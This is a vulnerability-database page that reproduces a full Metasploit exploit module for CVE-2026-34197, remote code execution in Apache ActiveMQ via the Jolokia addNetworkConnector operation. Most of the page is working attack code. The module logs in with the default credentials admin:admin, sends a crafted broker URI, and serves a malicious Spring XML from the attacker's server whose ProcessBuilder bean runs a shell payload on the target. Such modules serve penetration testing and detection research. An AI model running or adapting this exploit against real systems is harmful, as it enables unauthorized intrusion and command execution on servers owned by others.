Lucene search
K

📄 Apache ActiveMQ Jolokia AddNetworkConnector Remote Code Execution

🗓️ 29 May 2026 00:00:00Reported by h00die, dinosnType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 31 Views

ActiveMQ Jolokia RCE via addNetworkConnector enables remote code execution via crafted URI and Spring XML.

Related
Code
# frozen_string_literal: true
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::Remote::HttpServer
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Apache ActiveMQ RCE via Jolokia addNetworkConnector',
            'Description' => %q{
              Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at /api/jolokia/.
              An authenticated attacker can invoke the addNetworkConnector() MBean
              operation with a crafted URI that causes the broker to fetch a remote
              Spring XML configuration over HTTP. The Spring XML instantiates a
              ProcessBuilder bean that executes attacker-supplied OS commands.
    
              Default credentials (admin:admin) are accepted by many installations.
    
              Verified on docker image
            },
            'Author' => [
              'dinosn', # Discovery and PoC
              'h00die'  # Metasploit module
            ],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-34197'],
              ['URL', 'https://github.com/dinosn/CVE-2026-34197'],
              ['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/']
            ],
            'DisclosureDate' => '2026-04-29',
            'Platform' => %w[linux unix win],
            'Arch' => [ARCH_CMD],
            'Privileged' => false,
            'Stance' => Stance::Aggressive,
            'Targets' => [
              ['Windows', { 'Platform' => 'win' }],
              ['Linux', { 'Platform' => %w[linux unix] }],
              ['Unix', { 'Platform' => 'unix' }]
            ],
            'DefaultTarget' => 1,
            'DefaultOptions' => {
              'WfsDelay' => 30
            },
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_options([
          Opt::RPORT(8161),
          OptString.new('TARGETURI', [true, 'Base path to ActiveMQ web console', '/']),
          OptString.new('USERNAME', [true, 'Jolokia username', 'admin']),
          OptString.new('PASSWORD', [true, 'Jolokia password', 'admin']),
          OptString.new('BROKER_NAME', [false, 'Broker name (auto-detected if blank)', ''])
        ])
      end
    
      def check
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        })
    
        return CheckCode::Unknown('No response from target') unless res
        return CheckCode::Unknown('Authentication failed (401) — check USERNAME/PASSWORD') if res.code == 401
        return CheckCode::Unknown('Jolokia access forbidden (403)') if res.code == 403
        return CheckCode::Unknown("Unexpected HTTP status: #{res.code}") unless res.code == 200
    
        data = res.get_json_document
        return CheckCode::Unknown('Could not parse Jolokia response') if data.empty?
    
        agent = data.dig('value', 'agent') || 'unknown'
        CheckCode::Appears("Jolokia accessible — agent version: #{agent}")
      end
    
      def on_request_uri(cli, request)
        vprint_status("#{request.method} #{request.uri}")
    
        case target['Platform']
        when 'win'
          shell = 'cmd.exe'
          flag = '/c'
        else
          shell = '/bin/sh'
          flag = '-c'
        end
    
        xml = %(<?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
           http://www.springframework.org/schema/beans/spring-beans.xsd">
      <bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>#{shell}</value>
            <value>#{flag}</value>
            <value><![CDATA[#{payload.encoded}]]></value>
          </list>
        </constructor-arg>
      </bean>
    </beans>)
    
        send_response(cli, xml, {
          'Content-Type' => 'application/xml',
          'Connection' => 'close',
          'Pragma' => 'no-cache'
        })
        print_good('Malicious Spring XML served — target will execute payload via ProcessBuilder')
      end
    
      def exploit
        start_service
    
        bname = detect_broker_name
        print_status("Using broker name: #{bname}")
    
        remove_network_connector(bname, 'NC')
    
        # static:(...) is the network connector discovery URI.
        # vm://#{Rex::Text.rand_text_alpha(8)} references a non-existent broker, forcing dynamic creation.
        # brokerConfig=xbean:http://... loads remote Spring XML config.
        malicious_uri = "static:(vm://#{Rex::Text.rand_text_alpha(8)}?brokerConfig=xbean:#{get_uri})"
    
        jolokia_body = {
          'type' => 'exec',
          'mbean' => "org.apache.activemq:type=Broker,brokerName=#{bname}",
          'operation' => 'addNetworkConnector(java.lang.String)',
          'arguments' => [malicious_uri]
        }.to_json
    
        print_status("Sending Jolokia exploit request to #{rhost}:#{rport}")
        vprint_status("Malicious URI: #{malicious_uri}")
    
        # Use a short timeout: ActiveMQ fetches our Spring XML and runs the payload
        # asynchronously, so the Jolokia POST often never returns a response.
        # We handle the session in the handler regardless.
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
          'ctype' => 'application/json',
          'data' => jolokia_body,
          'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" },
          'timeout' => 10
        })
    
        if res.nil?
          print_status('Jolokia POST timed out — broker is likely fetching Spring XML and executing payload')
        elsif res.code == 401
          fail_with(Failure::NoAccess, 'Authentication failed — check USERNAME/PASSWORD')
        elsif res.code != 200
          print_warning("Unexpected HTTP status: #{res.code} — continuing anyway")
        else
          result = res.get_json_document
          if result.empty?
            print_warning('Could not parse Jolokia response — continuing anyway')
          elsif result['status'] == 200
            print_good('Jolokia accepted the payload — waiting for target to fetch Spring XML...')
          else
            print_warning("Jolokia returned status #{result['status']}: #{result['error']}")
          end
        end
    
        handler
      end
    
      private
    
      def remove_network_connector(broker_name, connector_name)
        body = {
          'type' => 'exec',
          'mbean' => "org.apache.activemq:type=Broker,brokerName=#{broker_name}",
          'operation' => 'removeNetworkConnector(java.lang.String)',
          'arguments' => [connector_name]
        }.to_json
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, '/api/jolokia/'),
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
          'ctype' => 'application/json',
          'data' => body,
          'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" }
        })
    
        if res&.code == 200
          vprint_status("Removed existing '#{connector_name}' network connector")
        else
          vprint_status("No existing '#{connector_name}' connector to remove (or removal failed) — continuing")
        end
      end
    
      def detect_broker_name
        return datastore['BROKER_NAME'] unless datastore['BROKER_NAME'].blank?
    
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, '/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*'),
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        })
    
        if res&.code == 200
          data = res.get_json_document
          if !data.empty? && data['status'] == 200 && data['value']
            data['value'].each_key do |mbean|
              mbean.split(',').each do |part|
                next unless part.start_with?('brokerName=')
    
                name = part.split('=', 2).last
                vprint_status("Discovered broker name: #{name}")
                return name
              end
            end
          end
        end
    
        vprint_status("Could not discover broker name, using default 'localhost'")
        'localhost'
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 May 2026 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 3.18.8
EPSS0.83461
SSVC
31